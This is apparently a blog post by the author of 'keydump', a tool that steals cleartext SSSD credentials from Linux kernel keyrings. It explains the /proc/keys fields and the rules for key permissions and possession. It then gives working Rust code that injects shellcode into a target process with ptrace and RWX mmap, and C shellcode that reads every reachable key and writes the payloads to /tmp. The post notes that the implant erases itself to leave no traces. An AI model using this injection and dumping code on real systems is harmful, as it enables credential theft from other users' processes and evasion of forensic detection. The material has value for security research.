Keyrings dump with keydump: Extracting SSSD cleartext credentials

Well, we just need to read the /proc/keys file, which is a pseudo-file in the proc filesystem that returns the available keys for the process that reads it. Here is an example:

$ cat /proc/keys
00c58dad I--Q---    58 perm 3f030000  1000  1000 keyring   _ses: 1
0ae2c7d1 I--Q---     1 perm 3f010000  1000  1000 user      user_secret: 6
102e811f I--Q---   104 perm 3f030000  1000  1000 keyring   _ses: 2
244b527f I--Q---     4 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
2729088e I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid_ses.1000: 1

As we can appreciate, there is a line per key, a very common format in the Unix world. In each line we have several fields that describe a key. Let's review them to properly understand them.

In the first field we have the key ID, or serial number, that uniquely identifies the key. This is the main piece of information we want to retrieve to read the key contents, but let's also understand the other fields.

The second field indicates state flags related to the keys. Here we need to check that the key we want to read have the I flag, which means the key is instanciate, that is, that the key has been created. This may sound weird, since all the keys should be created to exists right? However keys can also be requested and created by a third party, as described in request_key(2), and being in under construction state, indicated by the U flag.

The third field, known as usage, indicates how many links point to the key. A key can be pointed by a keyring, that is an special type of key that keeps links that point to other keys, like a folder. If a key, even a keyring, lost all its references, it is deleted. Due to this some keyrings, the anchor keyrings, require a reference from kernel structures.

The fourth field is the key timeout, and perm (permanent) keyword is used to indicate that the key don't expire. An expired key cannot be used and it will be deleted.

The fifth field are the permissions, with four permission sets, a byte per set (two hexadecimal digits), that refers to the possessor process or thread, user, group and other permissions. The last 3 are similar to file permissions sets, but the possessor set is more complicated and requires further explanation, which I will provide below. Moreover, the permissions are different than the ones of a file, and will also be explained below.

Then we have the user and group ids of the key, that identifies the user and group owner of a key (that is not the same as the possessor). A value of 65534 (-1 in signed integer) in the group field means the key has no group.

The eighth field is the key type. There are several types of keys with different characteristics, some of them even don't support the read operation so its content cannot be retrieved (from userspace at least). Common types of keys are the following:

• user : A generic key that allows to store secrets completely in kernel memory (payload up to 32767 bytes) and retrieve them from userspace.

• keyring : Contains links to other keys (even other keyrings). This is a very special key type since works like a "directory" that allows keys to become searchable by description.

• logon : Like user type, but it doesn't allow read the secret payload from user space.

• big_key : Like user type, but it allows bigger secrets to be stored (up to 1 MiB). Therefore big keys may be stored encrypted in a tmpfs filesystem.

• asymmetric : Allows to store public and private key pairs, or just public. It doesn't allow reading the payload from userspace, but it provides operations for encrypt, decrypt, sign and verify signature.

There are many more key types (like blacklist, pkcs7, .fscrypt, etc) that I do not list here cause I don't know its purpose, but in case you are curious, you can discover them by searching for the use of the "register_key_type" function in Linux kernel source code.

The final field is composed by two fields, the name or description of the key, which can be used to search for the key in the keyrings, and some metadata whose information varies between different types of keys, for example, in the case of keyrings the metadata shows the number of links contained in them and in the case of user keys, it indicates their size in bytes.

With the information we extract from the /proc/keys file we are good to go and try to dump all the keys. My approach in this case was to just read /proc/keys and try to dump all the keys listed, which is quite easier than trying to read the permissions and guess which keys can be dumped.

Notwithstanding, while I think a brute-force approach is a good decision for reading keys of a process, if we want to read an specific key, trying to inject in all the processes (and threads) of the system until we read it may not be a good option, so being able to understand the permissions of a key may facilitate us to know what process infect.

As we have say previously, the permissions are formed by four sets, and for each set we have the following permissions:

• view (0x01): Allows to read the key attributes. The keys for which the process has view permissions are the ones listed in /proc/keys.

• read (0x02): Allows to read the payload. However, some key types such as "logon" and "asymmetric" don't support the read operation.

• write (0x04): Allows to update the payload and revoke the key.

• search (0x08): Allows the key to be found by a search, that is looking for a key through the keyrings by its type and description/name.

• link (0x10): Allows to create new links that point to the key.

• setattr (0x20): Allows to revoke the key, update the permissions mask and the uid (user id) and gid (group id), setting a key timeout and apply a restrictions to keyrings (implies that keys added to them must be signed).

Moreover, the four permissions sets are possessor, user, group and others. As we imagine, the user and group apply to the key user and group owners, and the other to any other user.

Let's see an example of a /proc/keys line:

0ae2c7d1 I--Q---     1 perm 3f010000  1000  1000 user      user_secret: 6

We can see that permissions for the user_secret key are 3f010000, which means that all the permissions are granted to the possessor, just view permissions to the user and no permissions for group or others.

Besides, we must keep in mind that, the same as files, the user, group and others permissions are exclusive, this means that if the user of the process trying to access the key match with the user key, the user permissions will be applied, and no group or other permissions, even if these (for some curious reason) are more permissive than those of the user. Same caso for group permissions. And in case there is no match for process user or groups, then the other permissions will apply.

On the other hand we have the possessor permissions, which are quite important cause generally the possessors are granted the highest privileges in a key. But possessor permissions are different in several aspects:

• Are inclusive: Possessor permissions are applied together with the one of other three permissions sets that applies. This means that if, for example, a process can be applied both user and possessor permissions and the user permissions only allow to read a key, and the possessor permissions only allow to write the key, the process can both read and write.

• Are dynamic: Possessor permissions are applied only if a key is possessed by the current process (or thread), and key possession is calculated each time the key is accessed.

So, how can we know if a key is possessed by a process? We need to follow the links from the anchor keyrings.

Wonderful, that reveals another question, what are the anchor keyrings? If you recall, I have said that every key, even keyrings, needs to be referenced at least once in order to not be deleted by the kernel. In fact, each time a key is created (with add_key syscall) a keyring must be specified to contain a link to that key (same situation in files, as each one must be created under a folder). Now imagine we want to create our first keyring which will hold links to all our keys, what keyring will point to our first keyring? The answer is an anchor keyring. Anchor keyrings are special keyrings linked by kernel structs. And there are several, that in conjunction with the key possession, allows keys to only be accessed from specific scopes.

These are the available anchor keyrings (that are generally created by the kernel when they are accessed):

• Process keyrings: These keyrings are linked to the process credentials. There are three of them with different scopes:

  • thread-keyring: Only can be accessed by the current thread. It has the name _tid.

  • process-keyring: Can be accessed by all the threads of the current process. It has the name _pid.

  • session-keyring: Can be accessed by all the processes in the current login session (since it is created by PAM). It has the name _ses.

• User keyrings: This keyrings are tied to kernel user structures, so they only can be used while the user has an active session.

  • user-keyring: Can be accessed by all the processes of the user. It has the name _uid.<uid> where <uid> is replaced by the user uid.

  • user-session-keyring: Can be accessed by all the processes of the user and it is used in case the session keyring is not created. It has the name _uid_ses.<uid> where <uid> is replaced by the user uid.

• Persistent keyring: Can be accessed by all processes of the user, but it is not destroyec when the user logs out, so it is intended to be accessed by background services that acts on behalf on an user. It has an expiration timeout, so if its not used in a while it is deleted. It has the name _persistent.<uid> where <uid> is replaced by the user uid.

So these are the anchor keyrings we have in a system. They are similar to a root directory in a filesystem, specially the process keyrings, that are the ones used in possession.

So what it is possession? and how is calculated? The answer is that a key is possessed when it is granted search permission and can be accessed by traversing down the keyrings links starting by the thread-keyring, process-keyring, or session-keyring. You can check the algorithm in Possession section of keyrings(7).

How we can perform a code injection with ptrace²? Basically, these are the steps I follow in keydump for injection a shellcode into a target process:

1. Attach to the target process

2. Look for a syscall instruction

3. Execute mmap to allocate memory for the shellcode

4. Copy the shellcode into remote process memory

5. Call the shellcode

These steps can be found in the dump_remote_process_keys function of keydump. And for each one here is the code and the explanation:

tracer::basics::attach_process(pid)?;

let syscall_addr = tracer::x64::syscall::search_syscall_inst_nearby(pid)?;

let mmap_addr = tracer::x64::syscall::exec_mmap_x64(
        pid,
        syscall_addr,
        0,
        shc.len() as u64,
        libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC,
        libc::MAP_PRIVATE | libc::MAP_ANONYMOUS,
        -1,
        0,
    )?;

tracer::x64::basics::write_memory_x64(pid, map_addr, shc)?;

let rip = tracer::x64::register::rip(pid)?;

tracer::x64::basics::stack_push_x64(pid, rip - rip_offset)?;

tracer::x64::register::set_rip(pid, map_addr + rip_offset)?;

The another key part of keydump is the shellcode to inject into the target process. To create the shellcode I have used shellnova⁴, a project of mine which provides a template for shellcode creation that includes the following:

• Creating a shellcode from C code

• Resolving libc functions on runtime, so we can use them from the shellcode

• Erasing the implant once the work is done, so no traces are left

The shellcode, as I mentioned in the keyrings section, will list the keys by reading the /proc/keys file and will try to read the content of each key and saved it into a file under /tmp/k_<tid>/ where <tid> is the tid of the target thread. Here is the code (from dump_keys function) that performs such actions:

    sprintf_d(keys_dir, "/tmp/k_%d", tid);
    err = mkdir_z(keys_dir, 0755);
    if (err != 0 && err != -EEXIST) {
        LOG_PRINTF("Error mkdir: %d\n", err);
        goto close;
    }

    dp = opendir_d(keys_dir);
    if(!dp) {
        PRINTF("Error opendir");
        goto close;
    }
    dir_fd = dirfd_d(dp);

    fp = fopen_d("/proc/keys", "r");
    if(!fp) {
        PRINTF("Error opening /proc/keys");
        goto close;
    }

    while ((nread = getline_d(&line, &len, fp)) != -1) {
        sscanf_d(line, "%lx %s %d %s %x %d %d %s", &k_id, k_flags, &k_state, k_expiration, &k_perms, &k_uid, &k_gid, k_type);
        if(read_key(k_id, &key_data, &key_data_size) == 0){
            desc = extract_description(line);
            if(!desc) {
                desc = "";
            }
            // printf("%s\n", desc);
            normalize_description(desc);
            // printf("Key len of %lu\n", key_data_size);
            sprintf_d(k_filename, "%lx_%s_%s", k_id, k_type, desc);
            write_to_file(dir_fd, k_filename, key_data, key_data_size);
            free_d(key_data);
        }
    }